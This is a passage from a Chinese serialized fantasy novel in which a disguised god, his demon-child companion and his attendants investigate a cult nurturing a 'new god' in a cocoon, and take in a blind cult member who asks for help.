听到熟悉的名字,樊蒙的瞳孔缩了缩,想起什么可怖的回忆,不敢再吱声。
可他仍心有疑惑:游轮所有的乘客、工作人员名单他都有过目,不会忘记、混淆其中任何一人。
姜先生这般令人难忘,要是真的登船,他怎么可能会忽视?
姜宵对他认出自己也不惊讶,有本事圈养一株吞天食地的杀人藤蔓,怎么看都不是普通人;更何况在游轮上祂并未刻意隐去踪迹,要的就是为此人留下印象。
病者讲两句话就开始咳嗽,原本躲在姜宵身后的小绵羊歪过脑袋,好奇地看着从他树状躯体飘下的叶子,没忍住上前叼了一片嚼嚼——
呸呸呸,好难吃!
他赶紧全都吐掉,委屈地钻回主人怀里。
姜宵用手指捋捋他脑袋上的小卷毛,权当安慰。
病者看见幼崽天真可爱的模样先是慈祥一笑,而后那笑意僵在脸上。
那些叶子剥落之后,本该和任何一棵树上飘零的普通枯叶没什么不同,是完整是零碎、是新鲜是萎靡,都同他无关。
可小羊咬下去后,疼痛竟然直接反射到他的身体里——不,不只是撕咬——四肢百骸蔓延起比岩浆更滚烫的烈焰,差点烧穿他的心脏。
15.第 15 章
病者本就蜡黄的脸色瞬间变得惨白,双目上翻,眼球剧烈颤动,好似某种病症突然发作。
离得最近的少年立刻上前握住他颤抖的手,阻止他用指甲从胳膊下抠下肉来:“您还好吗——您怎么样?”
樊蒙和屋里的其他信徒一拥而上控制住他,一个看起来像医生的女人为他注射针剂,血红的液体涌入体内,分不清是注入了人类的血管,还是植物的脉络。
强效药生了效,病者慢慢缓过来,眼神重新有了焦距:“……没事。抱歉,让您受惊了。我这是老毛病……”
且不说他这半人半树的古怪模样,光是刚才那癫痫般的一幕就足以吓退误入此地的普通人。
但姜宵不是人,更没有惊吓这种情绪,语气淡淡:“没事就好。”
病者又咳嗽几声,这次凋零的叶子中间染出几块斑驳的深色,像是带了血:“您的这只小宠物,真是很特别。”
就算不是阴阳怪气,这句也很明显话中有话。
姜宵就像没听出来似的,自然而然转化成夸奖,摸摸小羊犄角:“他的确。”
小羊高高扬起骄傲的头颅,非常赞成:“咩咩!”
病者扯了扯嘴角,笑容没能成形,疲惫地按了按额角:“心肝儿。”
少年应道:“主教大人。”
“既然来了,就是对读书会有兴趣。给这位客人讲讲我们的宗旨吧。——旧的世界,旧的神,都该留在过去了。”病者叹了口气,“不见城的时间停止,可我们总还要向前的。”
樊蒙张大眼睛,但阻止自己没说出来。
少年低头:“是,主教大人。”
待两人一羊走后,樊蒙才忍不住道:“主教大人,那是我吸纳的新成员,为什么不能让我来介绍呢?我可以的——之前给那些成员的宣讲不都是我做的吗?”
病者瞄了他一眼,视线非常冷淡:“嗯,是,你的确花了不少心思。然后呢?直到登上游轮他们都不知道自己是来做什么的,献祭的时候竟然带着恐惧和抗拒,而不是自愿奉献——你知道我费了多大劲给你收拾这个烂摊子吗?”
樊蒙张了张嘴,先是嚅嗫着道歉,又垂死挣扎:“可、可是我……主教大人,请您再给我一次机会!我保证这一次一定——”
病者不耐烦了,赶苍蝇似的挥挥手,曾经用来禁锢少年的锁链缠让樊蒙的四肢和脖颈。
他的眼神变得惊恐,想要求饶和呼救,可什么都做不了。
一个正常体格的成年男性,在几秒钟之内化成了一滩发亮的混浊状物。
一个信徒拿着玻璃罐把这滩不明物质装进去,它沿着杯壁扭动,徒劳地想找出口,不一会儿彻底安静下来。
那信徒晃了晃罐子,盯着里面的“樊蒙”嗤笑道:“这家伙什么时候才能想起来,自己不是人。”
——在旧读书会也算是小负盛名的“樊蒙主教”,原身不过是一丛荧光菌子。
另一人附和道:“就是,他恐怕都忘记了自己的名字,也是大主教赋予的。您说是吧,樊朦大人?”
樊朦,樊蒙,读音相同,仅有一个偏旁之差。
“月”字旁代表身体,而病者和“樊主教”之间,差的也的确就是一具完整的、可以自由行动的躯壳。
真名为樊朦的病者摆了摆手,笑容宽和:“好了,让他好好反省一下吧。”
而后那笑意又变得阴冷。
“我希望在座的各位都不要忘了,渎神会是为了什么。”
信徒们齐齐低下头:“是,大主教大人。”
*
“我能知道您的名字吗?”少年引着姜宵穿过没有主灯的走廊,以闲聊的话题破冰。
“姜。”祂的回答很简单。按照目前在人界的经历,人类的交往法则中往往有个姓氏就足够了。
“那是您的姓氏呢。”少年并没放弃,“名字,可以知道吗?”
神明没有真正的名讳,祂生来就是诸神之神,自存在于世就是所有人口中的“神主”和“陛下”,不需要其他代号。
直到进入凡间,为了方便行事才有了姜宵这么个化名。
所以祂并不明白一个名字究竟能有什么意义。知道也好,不知道也罢,能有什么差别。
可少年很执拗,大有你现在不告诉我我待会儿也不告诉你其他事的架势。
看着柔柔弱弱的,倒挺有坚持。
神明不想在这个问题上浪费太多时间,告诉了他。
少年露出那种小孩子得到期待已久的糖果一样的笑容,像收起礼物似的珍重地收起关于名字的信息:“谢谢您。”
他开始尽职尽责介绍:“既然您已经来到这里,想必对读书会有了初步了解。我们还有另一个名字——‘渎神会’。”
倒是不隐瞒。神明想。看来能被邀请到这儿的人,都已经是铁了心要吸纳的;刚才见那一屋子人,也都是渎神会的核心骨干成员。
他们制造了“银色山泉号”的惨案。
也会是他们制造的不见城永夜吗?
待不住的小绵羊已经在这条走廊跑了几个来回了,蹄子哒哒作响,还有回声。
少年简单介绍了些情况,忽然问:“对了,先生,您的眼睛……是蓝色的吗?”
这是个毫无关联、也出乎意料的问题。神明瞥了他一眼。
蕾丝装饰的眼罩也好,其下无光的双眸也罢,都昭示着此人残缺的视力。
可他不仅能毫无障碍地行走,甚至能看透祂伪装下真正的瞳色。
这是人类不可能做到的事。
少年没有等到回答,微笑着解释:“我很喜欢蓝眼睛。”
他的音量低了些,仿佛自言自语:“我一直会梦到一双蓝眼睛,从……”
那句话的尾音散在阴冷的空气里。
他没有说完,准确无误地“看”向神明的方向:“您无需感到害怕,先生,我只是偶尔能看见一些别人看不到的东西,这就是为什么大主教大人会招揽我;‘渎神会’的每个人都有些自己的特殊之处。”
神明自然是不会“感到害怕”的。不过祂更在意他最后那句话:异能是“渎神会”的入会门槛吗?
可游轮上的大多数只是普通人。是异能尚未觉醒,还是他们原本就没被当作成员、而是献给藤蔓的祭品?
那些被牺牲的人类压根不知道渎神会的真面目,还以为自己站在了人类反抗大自然的正义里。
少年停下,摸索着将手掌贴上墙壁:“先生,请您也这么做。”
这里和病者所在的房间有绝对隔音,深井下原本就没有别的声响,地心一片死寂。
然而在神明靠近那看似平平无奇的墙壁的刹那,分明感受到这死寂之下,有颗强大的心脏正蓬勃有力地跳动着。
如果说深井是一个茧,那么茧的里面总是会有什么。
比如……孵化一个生命。
走廊的墙就是包裹生命的薄膜,它们在祂的掌心下呼吸着,昭示着自己的存在。
“您感受到了吗?”少年问,“‘祂’就快要来了。”
神明重复着关键字:“‘祂’。”
“是的。”少年双手交握抬起头,神情虔诚,“‘渎神会’,就是为了等待新神的降生。祂会带领我们推翻只会高高在上空谈慈悲的旧神,粉碎所有镣铐,创造一个人人平等、幸福的新世界——”
一直温声细语、甚至在病者身旁乖顺到显得有些怯懦的少年,在谈及信仰时倒是很狂热,和那些听着樊蒙的发言热泪盈眶的人类没什么差别。
神明迟疑了下:“……就叫新神吗。”
少年没想到祂听完自己对未来心潮澎湃的描述后就这么一个感想,愣了愣:“您说什么?”
“没有专门取个名字吗。”祂低头看着指尖上沾的一点灰白,“新神听起来……”
有一点潦草。
不,何止一点。
哪怕
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叫个邪神什么的呢。
少年却笑起来:“您可以向主教大人提议,他一定会听取您的建议。看来您也很期待‘祂’的到来呢……”
他靠近了些,声音低沉轻柔,充满蛊惑。
上次这么做时,受害者樊蒙确信这家伙的真身一定是吸食人类的艳鬼。
他纤柔漂亮,姿态放得又极低,男人会生出保护欲,女人会滋长母性。对谁这么做,都是无往不利。
偏偏这位姜先生不为所动,甚至不是故作矜持或者什么以退为进的手段,而是不在意——彻头彻尾的,丝毫不在意。
好吧,少年承认,以前的确没怎么遇到过比自己还要好看的人。
但姜先生……还是有所不同。
在祂眼里,他好像不是个独立的个体,而是芸芸众生之中模糊的、毫无特色的一个。
好像无论他是压着声线刻意引诱,还是小猫咪简单喵两句,在祂看来都没有差别。
那双蓝眼睛明明清透高远,却不会倒映任何人的影子。
少年意识到这一点后,非但没有退却,反而像是发现了一颗值得抢夺的稀世明珠——
够了。
够了够了够了。
过分了过分了过分了!
撒迦利亚忍不了。
撒迦利亚不忍了。不忍了!
耐心终于耗尽的小羊摇身一变化作人形,他比在“银色山泉号”上又长了些,有十二三岁的模样了,要是个人类孩子已经该进入青春期,成为让人头疼的叛逆少年。
撒迦利亚可不会对饲养员叛逆,他的棱角、尖刺当然是要对外的。
男孩挡在神明和少年之间,冲后者恶狠狠道:“离我哥哥远一点!”
少年有些惊讶。他知道那只小羊特别,不过……
这也太特别了。
要是能一直保持这样特别,就很好。
他很快敛好情绪,温柔道:“小朋友,你不要误会,我对你哥哥没有恶意。”
有歹意也不行啊!撒迦利亚把自己的人圈得死死的,还在瞪他。
少年看不见小孩充满敌意的目光,但还是很聪明地选择留给他们私人空间。
反正该交代的都交代过了,踏进茧中的人,可没那么容易抽身。
*
等确定那家伙已经离开,撒迦利亚拽住神明的袖子,急切道:“宵宵,他肯定喜欢你,你不要喜欢他。”
神明不会像普通家长那样指责孩子的不礼貌,小羊做什么都由着他;并且也会认真回应孩子气的话:“我不会。”
“哥哥。”小孩很聪明,会根据情形和氛围的差别调整称呼,以及称呼所附带的语调,“你会爱任何人吗?”
神明诚实道:“不会。”
诸神之神怎可有七情六欲,那是最无可赦免的罪。
男孩像是预感到了什么,眸中氲出点点泪光:“……也不会爱我吗?”
神明并不想让自己的小羊羔,自己养大的孩子伤心。但神明也不能用谎言粉饰。
祂垂眸:“不会。”
撒迦利亚得到了答案,反而不哭了,定定地看着祂:“永远不会吗?”
祂说:“永远。”
即便是「不会」。
也依旧是「永远」。
小孩扑到他怀里,语带哭腔,半是讨好半是撒娇地呢喃,哥哥,哥哥。
淋漓的灯光将两人困在茧房的心跳里。
神明怔忪片刻垂下手,摸了摸他的头发。
硬茬茬,刺楞楞的,和小羊卷毛完全不同的手感。
人类总说头发硬的人脾气也硬,是桀骜难管的性子。祂想,放在魔鬼身上也同样吗?
而小恶魔在神明的抚摸下悄悄睁开眼,那之中难过和委屈蒸发得干干净净,只剩下志在必得的笃定。
你会的。
他想。
你会爱的。
总有一天,你也会爱上我。
16.第 16 章
神域出了点问题,神主必须回去一趟,又被想要对冰霜森林进行改造的麓行尊者缠上,多耽搁了几天。
人类的概念中,天上一日,凡间一年。神界与人界的时间流速对比虽不至于那么夸张,也的确有差别,祂这一走,在人间就是离开了好些日子。
渎神会隔三差五就要召集,“姜宵”这个身份不能轻易缺席,让蜚蜚伪装前去。
光自己去不行,还得带上小绵羊:第一日的相见已经让渎神会成员明白了这位姜先生对宠物的偏爱,默认他们会同进同出,要是哪天人在羊不在,反而会引起怀疑。
蜚蜚和撒迦利亚早就两看相厌,一个嫌另一个非我族类其心必异,你小子一个恶魔成天缠着我们神主究竟是何居心;另一个嫌这个手伸太长管太多,简直妄想插足自己和哥哥——
总的来说,二人为了神主不得不捏着鼻子相处,并且秉持着“迟早有天把你干掉”的信念。
这样一来,最开心的当然是卡布卡:既能堂而皇之地陪伴在陛下身边,还不用跟别鱼别羊争宠,好不快活。
白鸟绕着圣柱翱翔几圈,玩儿累了才拍拍翅膀降落在王座背后:“陛下陛下,事情处理结束啦,我们是不是要去人间了?去哪里,还是不见城吗?还是换个地方玩玩儿?”
神域太冰冷无趣,左使最喜欢去人界,那儿多的是眼花缭乱的小玩意儿,最有趣的当数人类本身,是神主的造物中他最喜欢的玩具。
可惜大多时候陪着陛下下凡的都是右使,今天总算给他捞着机会了。
纯白灵石雕刻而成的王座宏大肃穆,神主长长的的亚麻色鬈发散落,永昼的光亮笼罩着铺就神殿的半透明辉夜石,与神明身上浅金色的流光交相辉映。
祂身在茫茫光中,手执一枝自凡间带来的白玫瑰,那花儿开得极盛、极艳,层层叠叠相拥绽放。
可它在祂面前又黯然失色,褪去光泽化作最纯粹的白,温顺沉静地俯首于神明掌中,不敢争辉。
神明注视白玫瑰良久,阖上双目,竟显出一丝冷清的脆弱。
卡布卡低头看着祂,心里咯噔一下。
为什么会生出这种念头?
陛下怎么会……怎么会看起来“脆弱”呢?
眼花了,肯定是自己眼花了!
祂缓缓睁开眼,那点错觉镜花水月般消失得无影踪,威严如常,圣洁依旧。
卡布卡稳住心神,对自己笃信地点点头。
神界信仰法则其一:
神是无所不能的。
法则其二:
神没有弱点,更不会「脆弱」。
其三:
神将永远坚不可摧。
*
不见城,榆盛苑。
外面风雪滔天,大平层里倒是温暖如春,连花瓶里插着的几十枝娇贵难伺候的白玫瑰还安然盛放,不曾染上半点寒意。
小少年趴在地毯上一下一下晃着腿,恶魔尾巴也跟着摇,身边散落一地光秃秃的花梗,手里还在摧残一朵。
他揪下一片花瓣,喃喃着:“祂会来。”
然后再揪一片:“祂不会来。”
另一片:“祂会来。”
再一片:“祂不会来。”
“祂会来。”
“祂不会……”
被他揪下的花瓣们并非静静躺在原地,每一瓣都化作灵动的蝴蝶,绕着他身周盘旋片刻,而后蝶翼之上燃起火焰,尽数消散。
有人走进客厅,他懒懒地瞟一眼,嫌恶地皱了皱鼻子:“没别人在你还装祂的样子,你配吗?”
蜚蜚噎了下,他本来就是要恢复真身,哪想到这小崽子不在自己的儿童房待着跑客厅来,撞了个正着,搞得自己有口难言。
伪装成“姜总”的黑发变长,他随手扎了个高马尾,黑色双眸也变回赤瞳,对着一地狼藉皱眉:“你就这么糟蹋给陛下的花?”
十几岁的小孩正是最伶牙俐齿的时候:“这是我送祂的。怎么,你是嫉妒祂不收你的花吗?”
蜚蜚深吸一口气自我安抚不能被小孩气到,冷静下来反唇相讥:“你再送陛下十朵、一百朵、一万朵,你在祂眼里也不过是个小宠物罢了。”
这还真戳到了撒迦利亚的痛脚,他沉下脸,明明是只绵羊,此刻眼中却折射出狼一样惊人的亮光:“那又如何?总是要比你更进一步的。”
蜚蜚受了侮辱,低吼道:“我对陛下是绝对的尊崇和敬仰,没有别的任何肮脏想法。不要用你阴暗的心思玷污!”
小恶魔冷笑一声。
我对祂,光是「心思」吗?
迟早有一日,会是「玷污」。
就在这时,门口有了动静。
小孩的脸色瞬间变了,从狼子野心重新蛰伏成乖巧小羊,一骨碌爬起来:“宵宵!宵宵!”
蜚蜚愣了下,立刻追上去:“不准你对陛下这么无礼!”
撒迦利亚才不听他的,门开了之后,欢呼着扑进来人怀中,焦糖色的双瞳甜蜜极了:“宵宵,你回来啦!”
蜚蜚先是行礼:“陛下。”
看见神明身后的卡布卡虽然有点儿碍眼,但还是小的那个更碍眼:“大胆!怎可对陛下直呼其名?”
撒迦利亚躲到神明身后,先是冲蜚蜚吐了吐舌头,而后对着姜宵低眉顺眼小受气包似的:“哥哥,他欺负我……”
蜚蜚:“……………………”
右舵大人气了个倒仰,有嘴都说不清:“陛下,我、我没……”
左舵大人发出一阵惊天动地的爆笑:“老弟,你也有今天!”
神明对他们的胡闹见怪不怪,摇了摇头。
进入人界后,卡布卡也化作人形,和蜚蜚的古代大侠装扮是两个极端,尤其是那副炫酷的镭射防风镜一戴,很有些赛博朋克的味道。
他大大咧咧搭住撒迦利亚的肩膀:“来来来,小魔羊,你教教我你都是怎么怼他的,我也想把他气成这样儿!”
小恶魔和左使沆瀣一气,压了压锋利的眉眼,神神秘秘附耳:“就是……”
卡布卡边听边点头,时不时朝蜚蜚挤眉弄眼:“原来如此,原来如此。”
撒迦利亚也学着他的样子拍拍他的肩膀:“懂了吧?”
卡布卡对他竖拇指:“懂了!小魔羊,
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你可真厉害。”
撒迦利亚洋洋得意:“那是自然。”
蜚蜚已经快被他们气吐血了。
以前有这个叽叽喳喳的鸟烦人不够,现在又多了只嘴更毒、更气人的羊——这都是什么傻冒同事和恶劣的工作环境啊,要不是上司太好,他早就辞职了!
至于上司本人,被这么一群鸡飞狗跳的宠物环绕,出乎意料得挺怡然自得,摘下围巾,踱向落地窗极目远眺去了。
*
左膀右臂的争吵和几千年一样没断过,是祂最熟悉的背景音。
但刚刚走到身边的这个孩子,却要迟来许多。
撒迦利亚先是试探地捉住祂的袖口,见没有被拒绝,再小心地、轻柔地勾住祂的手指,握进自己掌心中。
严格来说,这连牵手都算不上。但对于向来只可远观的神主而言,已经是罕有的近距离接触,要是被蜚蜚看见,恐怕又得气个好歹。
可神明没有拂开他,没有抽出手,就这么任他拉着。
小少年抬起头,眼中的喜悦一览无遗。
只是手指碰手指而已,就能叫他这样满足。
这孩子太过聪明,太懂得怎样得寸进尺,太会一点点探索许可的边界线。
而且每次都有效。
神明反省了下,自己好像是有点儿太宠着他了。
那又如何呢。
只要他能一直这样信任自己,依赖自己,仰仗自己,当一只快乐、善良的小羊,而不是……
就够了。
小羊不知道神明在想什么,但神明的目光一直落在他身上。
于是他弯起一个天真无邪的笑容:“哥哥。”
神明猜得到他要做什么。
果然,一枝白玫瑰递到眼前。
神明收下它,在熟悉的花香中泛起一丝浅淡的倦意。
祂处理完神域的事情之后就直接来了榆盛苑,虽说神主无须像人类一样通过进食和睡眠来充电,但没有喘息的连轴转总是一种损耗。
永夜和渎神会同样不需要休息。它们吊在心口,尚未粉碎,就还没到休息的时候。
虽说如此,还是……
少年感觉到胳膊上多了点儿重量,神明垂下的睫毛颤了颤,颤出困顿的涟漪。
他眸色深了深,顺势搂住祂的腰。
好轻。他想。
那怎么会是雷霆万钧的诸神之神该有的重量,分明比一片雪还要薄。
好像只要他不放手,祂就会这样融化在怀中。
他当然不会放手。
小恶魔的体温比神明高出不少,那暖意让祂清醒过来。
祂向来疏冷沉寂的蓝眼睛中流露出近似人类的、困惑的神情:“……我刚才……”
少年无辜地眨眨眼:“哥哥怎么了?”
“没什么。”神明抿起唇,敛起不自然,又成为那个漠然俯瞰众生的诸神之神。
撒迦利亚还想说什么,耳尖一动,眼神骤然阴冷下来。
他看向大门的位置,松开环住神明腰间的手,重新拉着他,像个怕生的小孩那样轻声道:“哥哥,我们有客人吗?”
17.第 17 章
去开门的是卡布卡。
“咦?”他惊奇的声音远远传来,“陛下,有个小孩儿来找你呀!”
第二个走过去的是蜚蜚。
看见来人后,他皱眉:“你来干什么?”
卡布卡:“老弟,你认识他?”
蜚蜚哼了一声懒得回答。但底气不太足。
他是认识不速之客,可对方不认识他。
毕竟他们每次相见,自己都在扮演“姜先生”。
小绵羊也过来了。
见到这人就气不打一出来,上去咬着衣服把人往外拖,黑色的小尾巴使劲儿地快绕成螺旋桨了,发出凶狠的、分不清是羊是狼的低吼。
怎么又是你。
离开这里,离开我家,离开我的人!
小羊羔看着年幼,力气出奇得大。
被驱逐者站都站不稳,泪水盈盈,伸手朝着唯一一个尚有余地的人求助:“请您帮帮我……”
卡布卡要是个人,早该对着垂泪的小美人心软。
可惜他是只鸟。物种有别,难以共情。
不仅不救,还落井下石:“哎,他们怎么都不喜欢你啊?”
少年不知要如何回答这句话,咬着嘴唇,从被泪水打湿的睫毛下看向姜宵的方向。
神明每次来到这间在人界置办的临时居所,都喜爱站在窗边向外眺望,看向这座失控的城市。
祂身旁有盏落地灯,开着最低一档亮度,柔和的光晕为祂镀上点点金茫。
灯下看美人,就是再薄情的雪也要染上三分动人。
遗憾的是,神明似乎不打算回应这份祷告,甚至没分过来半分视线。
蜚蜚忽然意识到一个问题:“你不是看不见吗?”
“我是看不见。”他嚅嗫道,“但我能‘看见’一些别的。”
蜚蜚觉得他在胡扯。
卡布卡更是心直口快:“不会是蒙我们的吧?”
小羊羔难得和他俩站到同一战线:“咩咩咩!”
少年垂下头,用食指指节擦了擦眼泪;他连做这个动作都很有美感,好似每一个角度、幅度都精心设计过,是排演无数遍的戏。
连声线都控制得恰到好处:“我今天来,是想请姜先生帮忙。”
蜚蜚想说,谁问你了。
但蜚蜚更想问的是:“你怎么知道先生住这里?”
少年迟疑片刻:“渎神会……有自己的情报网。”
蜚蜚还要继续问,神明终于走过来。
小绵羊立刻黏上去,拦在姜宵和少年之间,严防死守不让他们有任何靠近的机会。
蜚蜚很难得同他达成一致。
姜宵摸摸小羊脑袋,看向来人:“说吧。”
少年松了口气,喜悦之情花儿一样绽放在眉梢眼角:“先生。”
他的五官秀美,随便什么表情都迷人。
只不过在场的各位谁也不会被打动——连神主真颜都有幸见过,区区凡人的皮相有什么可大惊小怪。
少年清楚在这些人面前无法再拿惯常使用的美貌当作手段,深吸一口气,决定坦诚:
“我叫楚情。
“我是‘渎神会’的核心成员,是大主教的助手。
“同时,也是他们的傀儡。”
“我被他们非法拘禁长达十年,他们控制我的人身自由,胁迫我参与伤天害理的事,对我用刑。
“我也试着逃过,可每次都会被抓回去,然后对我的折磨就会变本加厉。
“今天我是趁着外出布道的机会逃出来的。他们也许很快就能找到这里。”
“我……我是真的没办法了。”
名叫楚情的少年说着说着又掉下泪来,那模样要多惹人怜爱就有多惹人怜爱。
他难得没有蒙上黑纱的双眼是极为浅淡、近乎透明的绿色,此刻浸着泪水朦胧地望着神明。
“先生,请您——请您救救我吧!”
*
卡布卡对人类的高矮胖瘦老少美丑没什么要求,是人类,他就喜欢跟人唠嗑,所以陪伴楚情的责任自然落在他肩——翅上。
提及自己这么多年的悲惨经历,少年说着说着就会哭。
连哭声都是细细柔柔的,像溪水淙淙,不让人厌烦。
他今天没戴波奈特,即便是见过他好几回的神明也才注意到,他披散的长发是纯白的,配上秾丽的长相和失焦的双眸,妖冶到近乎诡异。
就这么直接找上门来,怎么想都不对劲。
虽然神明用“姜宵”这个身份行走人间时有一套完整的、没有破绽的背景,榆盛苑的住址连童话牧场都有登记,可巧合太多,就成了预谋。
“您和他才有几面之缘,他就这样倾付信任,这说不通。”蜚蜚说完意识到自己的措辞不合适,连忙补充,“……并不是说您不值得信任……”
姜宵抬了下手背,示意他无需为这些无关紧要的东西道歉。
祂没有直接回答,而是问旁边的小少年:“你的看法呢。”
撒迦利亚没想到这番对话还有自己的份儿,怔了怔,而后咬牙切齿:“肯定不是什么好人!”
男孩皱了皱鼻子,嗅着多出来的陌生气息:“他闻起来不对劲儿。”
蜚蜚顾不上跟他拌嘴:“哪里不对劲?”
理论上鱼的嗅觉比羊更灵敏,他也早就想从气味来分辨楚情的异常,但那个怎么看都不像普通人类的少年,他闻出来的……竟然就是个普通人类。
男孩又闻了一次,这回整张小脸都皱起来了:“不知道。反正就是……不好!”
他黏黏糊糊地拽着姜宵的衣角:“还是哥哥最香了……”
蜚蜚连做好几个深呼吸才堪堪抑制住自己宰了这小羊崽子的冲动。
姜宵从窗户玻璃的反光看了一眼仍泫然欲泣的楚情:“‘渎神会’在供养一个茧。此前吞噬‘银色山泉号’的藤蔓,也是在为了它吸收养料。”
前些日子代替神主去开会的蜚蜚对此也有所了解,试图跟上上司的思维:“有一些品种的兰花,花瓣上会长出昆虫或眼睛的拟态纹路,以吸引它们的同类靠近。”
藤蔓不是正经藤蔓,茧不是正经茧。但它们总是有一部分要按照植物的习性生长。
男孩听明白大人的对话:“所以,那个姓楚的相当于渎神会
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的拟态图案,他其实并不是想要逃跑,而是渎神会利用他的求助来诱骗我们放松警惕——”
他的眉头挑了挑,啧了一声:“够诡计多端的。”
无论是表情还是语气都很轻蔑,甚至有些说不上来的轻佻,和平日里展现出的乖萌小甜心相去甚远,不像个十几岁的孩子。
姜宵和蜚蜚同时看向他,一个面无表情,一个目光复杂。
撒迦利亚自知失态,眨了下眼切换回黏人小羊模式,抓着姜宵的衣角轻轻晃了晃,熟门熟路撒娇:“哥哥,他骗你的,你不要相信他。”
如果蜚蜚不是严肃冷面的蜚蜚,一定要翻白眼了。
但就算是蜚蜚,也忍不下去了,宁愿去听另一个小崽子亦真亦假的哭诉,也不想继续看这个小崽子耍花样,转头走向卡布卡那边。
待那几人都处在听觉外围之外,姜宵低头看着小孩,蓝眼睛非常安静:“你有骗我吗。”
撒迦利亚一愣。
这就叫引火烧身吗?
那双眸子像亘古不化的冻原。纯净、空茫,却也遥不可及。
冰封的湖面不会倒映出任何人的影子。
包括他。
少年的手慢慢地从祂的衣角转移到袖口。
一点一点试探,一点一点逾矩,一点一点进攻,直到勾住祂的手指。
神明始终没有拒绝,也不曾回应。祂对他向来这般放任。
放任可以是宠溺,也可以是不在意。
撒迦利亚不确定自己处在天平的哪一端。
神明的肤色白皙,指甲冰蓝。
小恶魔的深色皮肤贴着祂,像某种剜不去的烙印。
那点温度差源源不断传递着不同于自己的暖意,神明有片刻的恍惚。
这不再是最初那只小小的手,那个小小的孩子了。
撒迦利亚的人形外貌十四五岁,是个少年人了。个子窜得很快,站在祂面前身高已经差不了太多,抬头就能亲到祂的下巴——
在他还是小幼崽的时候,经常这么做;可自从开始长大,再也没敢如此放肆。
撒迦利亚焦糖色的瞳孔一眨不眨凝视着姜宵的蓝眼睛,口吻轻柔:“哥哥,我没有骗你。”
他又说了一遍,语调郑重:“我不会骗你。”
祂看了他很长时间,轻轻应了一声:“好。”
高楼之外,风雪无尽,整座城市被死寂吞没。落地玻璃窗将彻骨的寒意挡在外面,映着室内和煦的橙色光亮,像涂抹了一层薄薄的糖浆。
不远处,楚情坐在沙发上低着头,白发从肩头滑落,左边的卡布卡高声安慰,右边的蜚蜚低声质询。
“哎呀,别哭啦,有话好好说嘛。”
“你想留在这里,必须要坦诚。”
“我们陛……先生特别好,有什么事儿都可以相信他。”
“如果你有异心,我会发现的。”
一个扮红脸一个扮白脸,配合无间。左膀右臂千万年来的默契可不是说说而已。
几人的交谈声碎落,像撒在地板上的冰棱。
永恒的冬夜里,与世隔绝的角落中,魔鬼向神明立下誓约。
18.第 18 章
地下深井。
男人抬手贴在粗糙的、仅刮了一层的水泥墙上,感受着墙后有节奏的心跳,随口问道:“今天怎么不是樊蒙来?”
陪同者赔着笑:“小樊他……他这几天身体不舒服,请假了。”
男人笑眯眯:“没想到你们也会生病啊。”
陪同者哽了下:“当然。生老病死,万物规律,就连天上那位……”他竖起食指指了指上方,“也逃不过的。”
“哦?是嘛。”男人抿着笑,“我倒是没听说过,祂也有这么脆弱的时候。”
陪同者摸不透他这句话是什么意思,是希望那位生个病,还是不希望。
他绞尽脑汁想了会儿,决定还是闭嘴,小心地瞄瞄男人,见后者无意继续这个话题,才松了口气。
此人个子极高,肩宽腰窄,身段挟着猛兽般的爆发力。肤色很深,像黑曜石打磨出的砂质,又在某些特定的光线下呈现出极淡的银灰来。
他戴着副墨镜,陪同者也算是与他有过几面之缘了,还没见过他的眼睛是什么颜色。
额上一小撮碎发垂落,野性不羁。耳尖的线条比常人锐利得多,右耳缀着三四个造型夸张的耳钉和耳骨链,左耳却只有一颗小小的、色泽如冰的蓝宝石。
内搭的高领黑色毛衣上挂个暗金色的骷髅项链,外面一件轻薄的机车夹克,银扣厚底的靴子走路带风,一步抵陪同者小跑好几步。
见人踉踉跄跄跟在后面,男人颇为善解人意地停下,嘴角弯着一点似笑非笑的弧度,豹子一样慵懒又危险:“今天真是麻烦你了。”
陪同者连连摆手:“这是我应该做的……主教大人让我传达他的问候。”
“嗯嗯,也问他好。”
他明着敷衍,陪同者就算心里窝火,也不敢当面说什么,唯唯诺诺低下头。
男人再次敲了敲那层膜一样的墙壁,更愿意对着那颗看不见的、跳动的心脏说话:“快点儿来吧。”
他想起什么,摸了摸嘴唇。
过去这么久了,似乎仍然碰得到上面残留的触感。
他低低笑起来:“……我等不及了。”
*
童话牧场。
佟灵趴在桌上耍赖:“这题不是我想空着,我是真不会写啊!辅助线都做了好几条了,可是还是看不出来从哪里下手……”
宁槐本来弯着腰给他讲题,忽然站直,定定地看着门外。
他就这么一动不动木偶似的足足杵了一分多钟,佟灵觉得奇怪,探头探脑:“怎么了怎么了?有人来了吗?”
然而双层大门仍然紧闭,门楣上的铜风铃动都没动。
缝隙里泄露一缕寒风,绕着暖和的室内大厅转了一圈,又悄然离开。
佟灵拍了拍仿佛被按下静止键的青年:“哎,小宁老师,哎!听得到我说话吗?你还好吗?”
即便如此,宁槐依然花了几秒钟才回过神来,目光依旧恍惚:“哦……哦,没事。”
他顶着佟灵探究的眼神,很快恢复平日里的镇定,温和道:“真的没事。我给你重新讲一遍吧,这种题型其实不难,记住介词的固定搭配就——”
“你说得对。”再迟钝少心眼儿如佟灵也起疑心了,“可是小宁老师,我们在讲数学题啊——你最近经常这么魂不守舍,到底怎么啦?”
宁槐慢半拍地眨了下眼。
*
无论楚情的求援是真是假,他都是调查和拆解渎神会最好的切入点,就这么留在了榆盛苑。
卡布卡自告奋勇留下来照(监)顾(视)他,神域不可太久无人主持,蜚蜚就是再不情愿,也不得不先回去。
于是,近侍一职理所当然地落在了撒迦利亚身上。
小孩很兴奋,绕着神明走了一圈,趾高气昂得像在巡视自己的领地——神明本人,就是他的领地。
还要像个中世纪的骑士那样对国王单膝跪地,一手抚肩,低头起誓:“我会永远忠诚于您。”
只是这骑士太过放肆,不等国王应允就站起来,还要去拉国王的手,语气和称呼全变了:“哥哥,我会保护你的!”
神明一如既往纵容他孩子气的举动,蓝眼睛里浮动着一些稀薄的、近乎笑意的柔软。
要是蜚蜚在这儿,又得气出个好歹。
但在这里的是卡布卡,卡布卡只会嘎嘎大笑。
“哎,你刚刚说什么?保护陛下?——你?保护?陛下?嘎嘎嘎,这是我今天、不、是我近来听到最好笑的笑话!”
小恶魔不服气:“你笑什么?我说的有什么问题?”
卡布卡差点把自己笑抽过去,擦了擦笑出的眼泪:“小魔羊,搞搞清楚,这可是伟大的、仁慈的、全知全能的诸神之神陛下——你知道祂动动手指就能创造或者封印一个碎片世界吧?那么请问你,小朋友,有什么能耐能用来保护祂啊?”
左使虽不如右使那般冷心冷情、直言直语,更多的时候喜欢看热闹,可要涉及到神主,维护起来自然也是不留情面的。
自万年前甘愿臣服的那一刻起,他们便是祂最忠诚的剑与盾。
